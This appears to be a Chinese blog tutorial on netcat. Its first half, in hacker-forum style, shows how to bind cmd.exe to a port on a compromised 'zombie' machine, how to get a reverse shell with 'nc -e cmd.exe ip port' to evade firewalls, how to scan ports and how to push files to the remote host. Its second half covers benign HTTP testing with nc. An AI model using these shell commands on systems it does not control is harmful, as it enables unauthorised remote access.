NC的使用

nc命令是linux自带的一个简单的网络工具,支持tcp/udp协议,可以用来作为客户端,也可以用来作为服务器端。当需要完全模拟客户的http请求的时候,nc比wget或者curl都有用。  

 


讲四个命令 

命令1:监听命令 

nc -l -p port 
nc -l -p port > e:/log.dat 
nc -l -v -p port 

参数解释: 

-l:监听端口,监听入站信息 
-p:后跟本地端口号 
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息 

提示:一般大家都爱用-vv 

nc -l -p 80 

这个很简单,监听80端口 
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦! 

nc -l -p 80 > e:/log.dat 

呵呵,功能和上边一样,但是后边加了个“> e:/log.dat”我想,学过ECHO 
那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件 

nc -l -v -p 80 

和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC 
的屏幕上。 


呵呵,讲了这么多,来实践下 

nc -l -v -p 80 

然后在浏览器中输入本机IP:127.0.0.1 
呵呵,看到什么? 


同样,上边两个也是一样,大家自己试验一下吧 

命令2:程序定向 

nc -l -p port -t -e cmd.exe 

本地机: nc -l -p port 或 nc -l -v -p port 

目标机:nc -e cmd.exe ip port 

参数解释: 

-l、-p两个参数已经解释过了 

-e;作用就是程序定向 
-t:以telnet的形式来应答 

例子 

nc -l -p 5277 -t -e cmd.exe 

知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器 
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的 
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。 

说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。(话外音:说这么多遍当我们白痴啊,快往下讲!!!) 

呵呵,咱们来找台肉鸡试试,我TELNET IP 5277 
HOHO~~如何? 

local machine:nc -l -p port ( or nc -l -v -p port ) 
remote machine:nc -e cmd.exe ip port 

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马, 
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说 
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你 
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。 


这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么? 
咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!) 

nc -l -p 5277 (坚听本地5277端口) 

同样也可以用 

nc -l -v -p 5277 

运行在本地 

然后在远程机器上,想办法运行 

nc -e cmd.exe ip 5277 

(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!! 

呵呵,看看在本地机器上出现了什么? 

这样就是反弹~~在本地机器上得到了一个SHELL 

命令3:扫描端口 

nc -v ip port 
nc -v -z ip port-port 
nc -v -z -u ip port-port 


参数解释: 

-z:将输入输出关掉,在扫描时使用 

nc -v ip port 

这个命令是针对某一个端口进行扫描 

例如: 

nc -v ip 135 

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息 

例如:80端口 

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息 


nc -v -z ip port-port 

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围 

例如: 

nc -v -z ip 1-200 

可以看到我机器上的1-200的TCP端口的开放情况 


nc -v -z -u ip port-port 

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的 

例如: 

nc -v -z -u ip 1-200 

这个命令就会扫1-200的UDP端口 

命令4:传送文件(HOHO,I LIKE) 

LOCAL MACHINE:nc -v -n ip port < x:/svr.exe 
REMOTE MACHINE:nc -v -l -p port > y:/svr.exe 

参数解释: 

-n:指定数字的IP地址 

这两个命令结合起来是用来传送文件的 

首先,在远程机上运行命令: 

nc -v -l -p 5277 > c:/pulist.exe 

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口 

并把接受到的信息数据写到c:/pulist.exe中 


这时候在本地机上运行 

nc -v -n ip 5277 < e:/hack/pulist.exe 

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上 

这样远程主机就会自动创建一个pulist.exe文件。。呵呵,你想到了吗?? 


上边是NC的比较常用的方法,希望通过这些,大家能发挥自己的想象力,创造出更多更精彩的命令来, 
因为NC的用法不仅仅局限于这几种而已哦!!对NC来说,只有想不到,没有做不到的!!

 

/*********************************************************************/

 

 

nc作为客户端时,从标准输入读取信息,并将服务器端返回的结果打印到标准输出。

使用方法一:标准输入

[root@CNC-BJ-4-3C1 ~]# nc 213.139.108.50 80 
GET /cn/zh/base.html HTTP/1.1
Accept: */*
Accept-Language: zh-cn
If-Modified-Since: Tue, 02 Sep 2009 02:39:23 GMT; length=9633
Accept-Encoding: gzip, deflate
Host: beauty.dior.cn
Cookie: sp=1; __utma=28880431.2674417554914877000.1251783781.1251783781.1251785388.2; __utmb=28880431.10.10.1251785388; __utmz=28880431.1251783781.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=28880431


注意! 输入完以后,一定要有两个回车符,以满足http协议的要求。

使用方法二:从文件读取

[root@CNC-BJ-4-3C1 ~]# nc 213.139.108.50 80 <req
HTTP/1.1 200 OK
Date: Wed, 02 Sep 2009 02:40:24 GMT
Server: Apache
Vary: User-Agent
Content-Type: text/html
Set-Cookie: SID=sab;domain=.dior.com;path=/
Transfer-Encoding: chunked

0

[root@CNC-BJ-4-3C1 ~]# cat req
GET /cn/zh/base.html HTTP/1.1
Accept: */*
Accept-Language: zh-cn
If-Modified-Since: Tue, 02 Sep 2009 02:39:23 GMT; length=9633
Accept-Encoding: gzip, deflate
Host: beauty.dior.cn
Cookie: sp=1; __utma=28880431.2674417554914877000.1251783781.1251783781.1251785388.2; __utmb=28880431.10.10.1251785388; __utmz=28880431.1251783781.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=28880431


注意! req文件最后,一定要有两个空行!

作为服务器端使用

在调试客户端程序时(如源站探测),往往需要一个模拟的服务器端用于测试,这时候nc就很有用。

nc监听指定端口

[root@CNC-BJ-4-3C1 ~]# nc -l -p 80 

使用curl向nc发起请求

[root@CNC-BJ-4-3C1 ~]# curl -vo /dev/null -HHOST:www.baidu.com http://127.0.0.1/index.htm
* About to connect() to 127.0.0.1 port 80
*   Trying 127.0.0.1... * connected
* Connected to 127.0.0.1 (127.0.0.1) port 80
> GET /index.htm HTTP/1.1
User-Agent: curl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6
Pragma: no-cache
Accept: */*
HOST:www.baidu.com

nc收到的请求信息

[root@CNC-BJ-4-3C1 ~]# nc -l -p 80 
GET /index.htm HTTP/1.1
User-Agent: curl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6
Pragma: no-cache
Accept: */*
HOST:www.baidu.com


注意最后有两个换行,这是http header的要求。

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值